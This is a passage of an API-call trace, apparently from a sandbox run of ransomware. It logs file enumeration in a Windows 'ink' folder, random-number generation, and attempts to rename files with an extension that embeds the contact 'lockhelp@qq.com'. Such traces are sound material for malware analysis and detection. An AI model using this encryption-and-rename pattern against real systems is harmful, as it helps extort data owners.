lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.716] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.716] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0272.716] CloseHandle (hObject=0x334) returned 1 [0272.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0272.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.717] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.717] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=4096) returned 1 [0272.717] CloseHandle (hObject=0x334) returned 1 [0272.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0272.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.717] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.718] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0272.718] CloseHandle (hObject=0x334) returned 1 [0272.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0272.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.718] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.718] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=353280) returned 1 [0272.718] CloseHandle (hObject=0x334) returned 1 [0272.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0272.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.719] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.719] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=2103296) returned 1 [0272.719] CloseHandle (hObject=0x334) returned 1 [0272.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0272.719] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.719] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0 [0272.719] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.719] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=397312) returned 1 [0272.719] CloseHandle (hObject=0x334) returned 1 [0272.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe")) returned 0x20 [0272.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.720] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.720] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=383488) returned 1 [0272.720] CloseHandle (hObject=0x334) returned 1 [0272.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0272.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.720] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.721] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=2048) returned 1 [0272.721] CloseHandle (hObject=0x334) returned 1 [0272.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0272.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.721] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.721] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=40960) returned 1 [0272.721] CloseHandle (hObject=0x334) returned 1 [0272.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0272.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.721] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.722] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=94720) returned 1 [0272.722] CloseHandle (hObject=0x334) returned 1 [0272.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0272.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.722] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.722] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0272.722] CloseHandle (hObject=0x334) returned 1 [0272.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0272.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.722] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.722] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0272.723] CloseHandle (hObject=0x334) returned 1 [0272.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0272.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.782] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0272.782] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1367552) returned 1 [0272.782] CloseHandle (hObject=0x34c) returned 1 [0272.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll")) returned 0x20 [0272.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.782] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0272.876] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=4096) returned 1 [0272.876] CloseHandle (hObject=0x374) returned 1 [0272.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0272.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.882] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.014] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0273.014] CloseHandle (hObject=0x30c) returned 1 [0273.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0273.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.014] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.014] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0273.014] CloseHandle (hObject=0x30c) returned 1 [0273.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0273.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.014] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.015] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0273.015] CloseHandle (hObject=0x30c) returned 1 [0273.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0273.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" 